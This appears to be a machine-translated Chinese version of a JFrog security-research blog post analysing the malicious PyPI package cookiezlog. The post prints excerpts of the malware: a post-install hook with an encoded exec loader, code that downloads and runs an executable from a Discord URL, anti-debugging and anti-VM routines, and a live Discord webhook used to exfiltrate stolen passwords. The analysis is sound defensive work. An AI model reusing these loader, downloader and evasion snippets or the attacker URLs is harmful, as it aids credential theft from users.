PyPI恶意软件创建者开始使用反调试技术

PyPI恶意软件开始使用反调试技术

JFrog安全研究团队持续监控流行的开源软件(OSS)存储库自动化的工具,并向存储库维护者和更广泛的社区报告发现的任何漏洞或恶意包。

如今,大多数PyPI恶意软件都试图使用各种技术来避免静态检测:从原始变量破坏到复杂的代码扁平化和隐写技术。使用这些技术使该软件包非常可疑,但它确实阻止了新手研究人员使用静态分析工具了解恶意软件的确切操作。然而,任何动态分析工具,如恶意软件沙箱,都能快速移除恶意软件的静态保护层,并揭示潜在的逻辑。

最近,攻击者似乎升级了一个档次-我们最近发现并披露了cookiezlog包装,似乎雇用Anti-debugging代码(旨在阻止动态分析工具),除了常规的混淆工具和技术。这是我们的研究团队(或任何出版物)第一次在PyPI恶意软件中发现这种防御。

在这篇文章中,我们将概述这种Python恶意软件中使用的技术,以及如何解包类似的恶意软件。

安装触发器

与大多数恶意包类似,cookiezlog软件包在安装后立即运行。这是通过setup.py -中的“develop”和“install”触发器实现的

class PostInstallCommand(install): def run(self): execute() install.run(self)…setup(name='cookiezlog', version='0.0.1', description=' Roblox抓取额外包',…cmdclass={'develop': PostDevelopCommand, 'install': PostInstallCommand,},)

静态混淆第1部分-琐碎的东西

第一个也是最简单的保护层是zlib编码的代码,它在安装包后立即执行

def execute(): import marshal,zlib;exec(marshal.loads(zlib.decompress(b'x\x9cM\x90\xc1J\xc3@\x10\x86\xeb\xb5O\xb1\xec)\x01\xd9\xdd4I\x93\x08=\x84\xe0A\xa8(\xa1\x1e<\x85\x98\x0c6hv\xd7…'))

解码的有效负载从硬编码的URL下载文件,并在受害者的机器上执行

URL = "https://cdn.discordapp.com/attachments/1037723441480089600/1039359352957587516/Cleaner.exe" response = requests.get(URL) open("Cleaner.exe", "wb").write(response.content)system("set __COMPACT_LAYER=RunAsInvoker | start Cleaner.exe")

可执行文件为Windows PE文件。查看可执行文件中的字符串,我们可以看到它不是实际的本机代码,而是打包成PE格式的Python脚本

无法从可执行文件(%s)或外部存档文件(%s)中打开PyInstaller存档文件。PyInstaller: pyi_win32_utils_to_utf8 failed。

它可以用开源工具快速解压缩PyInstaller萃取器

提取的代码包含大量文件,主要是第三方库。最有趣的提取文件是main.pyc,其中包含Python字节码形式的恶意代码。

静态混淆第2部分-解包PyArmor

通常,我们能够反编译字节码main.pyc到Python源代码,使用工具,如uncompyle6.然而,在这种情况下,另一个运行的字符串main.pyc显示二进制文件已被混淆PyArmor

pytransformer __pyarmor__ Dist\obf\main.py

PyArmor是一个商业封隔器和混淆器,它对原始代码应用混淆技术,对其加密并保护其不被分析。对研究人员来说幸运的是,PyArmor保留了大量内省所需的信息。了解了这一点,我们可以尝试恢复原始代码中使用的函数和常量的名称。

尽管PyArmor没有任何公开可用的解包器,但可以通过一些手动工作来完全解包。在本例中,我们选择执行一个快速解包快捷方式(通过使用库注入),因为我们最感兴趣的是原始符号和字符串。

试图将打包的模块作为独立脚本运行会产生一个错误,指定系统没有所需的模块-

$ python.exe .\main。pyc Traceback(最近一次调用):File "", line 3, in File "", line 1, in ModuleNotFoundError: No module named 'psutil'

因为该模块查找psutil模块,所以我们可以在PYTHONPATH的某个位置创建一个同名的模块,它将在该进程的上下文中执行。这可以用作将我们自己的代码注入流程的简单入口点。我们在与受保护文件(main.pyc)相同的目录中创建了自己的名为psutil.py的文件,使用以下代码-

在inspect.stack()中导入inspect.stack():用于frame.frame.f_code.co_consts:如果没有inspect.iscode(c):继续dis.show_code(c)

代码段使用检查模块,它允许获得关于正在执行的代码的运行时信息:它遍历执行帧并提取代码块和引用常量的名称。

在运行我们的代码片段之后,它返回了一个字符串列表,使我们能够识别恶意代码的功能和来源。最有趣的字符串是注入模块的URL,指向可能的攻击者的存储库,并引用代码中的反vm功能:

Injector app-(\d*\.\d*)*) https://raw.githubusercontent.com/Syntheticc/injection1/main/injection.js %WEBHOOK% %IP% index.js check_vm无

Anti-Debug技术

合成GitHub配置文件在撰写本文时,字符串中提到的仍然可用。档案库中包含了一堆开源的黑客工具。其中有一个名为“高级反调试”的存储库,包含可用于防止恶意软件分析的方法

合成GitHub配置文件

我们可以将恶意软件使用的动态方法分为两类:反调试和反虚拟机。

反调试检查查找与任何调试器或反汇编程序相关的可疑系统活动,包括以下功能:

check_processes查看调试器进程是否在系统上运行-将活动进程列表与超过50个已知工具(包括-)的列表进行比较

PROCNAMES = ["ProcessHacker.exe", "httpdebuggerui.exe", "wireshark.exe", " dler.exe", "regedit.exe",…如果proc.name()在PROCNAMES: proc.kill()

check_research_tools具有几乎相同的功能,将进程名的子字符串与五个流量分析工具的简陋列表进行比较-

如果发现这些进程中的任何一个正在运行,反调试代码将试图通过终止该进程psutil.Process.kill-不是一个很微妙的方法。更隐秘的恶意软件会在没有任何指示的情况下停止运行,而不是与外部进程交互。

其他反调试技术试图确保恶意软件没有在虚拟机内部运行

check_dll检查系统根目录中的dll,表明系统运行在目录下VMWare(“vmGuestLib.dll”)VirtualBox(" vboxmrxnp.dll ")虚拟机客户机。

check_vm检查是否有vmware相关进程正在运行,特别是VMwareService.exe或VMwareTray.exe。

check_registry查找虚拟机使用的键,例如a著名的安装VMWare驱动程序时添加的注册表项-HKEY_LOCAL_MACHINE \ SYSTEM \

ControlSet001 \ \控制类\ {4 d36e968 e325 - 11 - ce bfc1 - 08002 - be10318} \ 0000 \ DriverDesc

def check_registry(): if system("REG QUERY HKEY_LOCAL_MACHINE\\ system \\ControlSet001\\Control\ Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul") != 1 and system("REG QUERY HKEY_LOCAL_MACHINE\\ system \\ControlSet001\\ \ControlSet001\\Control\ Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul") != 1:exit_program('Detected Vm') handle = OpenKey(HKEY_LOCAL_MACHINE, ' system \\CurrentControlSet\\Services\\Disk\\Enum') try:if "VMware" in QueryValueEx(句柄,'0')[0]or "VBOX" in QueryValueEx(句柄,'0')[0]:exit_program('Detected Vm') finally: CloseKey(句柄)

最后但并非最不重要的是check_specs函数分析当前机器的使用情况

def check_specs(): if int(str(virtual_memory()[0]/1024/1024/1024).split(".")[0]) <= 4: exit_program('内存数量无效')if int(str(disk_usage('/')[0]/1024/1024/1024).split(".")[0]) <= 50: exit_program('存储数量无效')if int(cpu_count()) <= 1: exit_program('Cpu数量无效'))

如果有少量内存、磁盘空间或只有一个CPU,则假定进程在虚拟机内运行。

上面提到的所有检查都相对简单,但由于恶意软件已经采用了可观的静态分析保护,它为新手研究人员提供了足够的保护,尤其是那些只使用自动分析工具的研究人员,这些工具无法破坏这种特定恶意软件的防御。

有效载荷-简单的密码抓取器

与恶意软件使用的防御数量相比,有效载荷简单得令人失望,但它仍然是有害的。有效负载是一个密码抓取器,它收集保存在流行浏览器数据缓存中的“自动完成”密码,并将它们发送到C2服务器(在这种情况下是一个Discord钩子-)https(/ /):不和[,]com/api/webhooks/1039353898445582376/cvrsu8CslmIYzNyXMpkjbkNEy_O0yjg08x5R_a7mPdgooQquALPINn1YfD5CuJ11dM7h)

从恶意软件提取的字符串中,我们可以推断出,除了“行业标准”的Discord令牌泄露功能外,有效载荷还会搜索几个密码金融服务方法使用的字符串可以看出这一点send_info功能- - - - - -

名称:send_info文件名:参数计数:0…常量:0:无1:'USERPROFILE'…5:“coinbase”…7:“币安”…9:“paypal”…

总结

我们可以再次看到恶意软件开发人员不断地发展他们的武器库,增加新的逃避方法,以及新的保护层,以防止他们的工具被分析。就在几年前,PyPI恶意软件作者使用的唯一工具是简单的有效负载编码器。今天,我们看到上传到OSS存储库的恶意软件变得越来越复杂,有一些静态和动态保护级别,并利用商业和自制工具的组合。这类似于他们在本地恶意软件世界中的“同事”,因此我们期待OSS-repo恶意软件继续发展,也许会使用高级技术,如自定义多态编码和更深层次的反调试方法。

与JFrog安全研究保持最新

在我们的JFrog安全研究团队中跟踪最新的发现和技术更新安全研究博客文章并在推特上@JFrogSecurity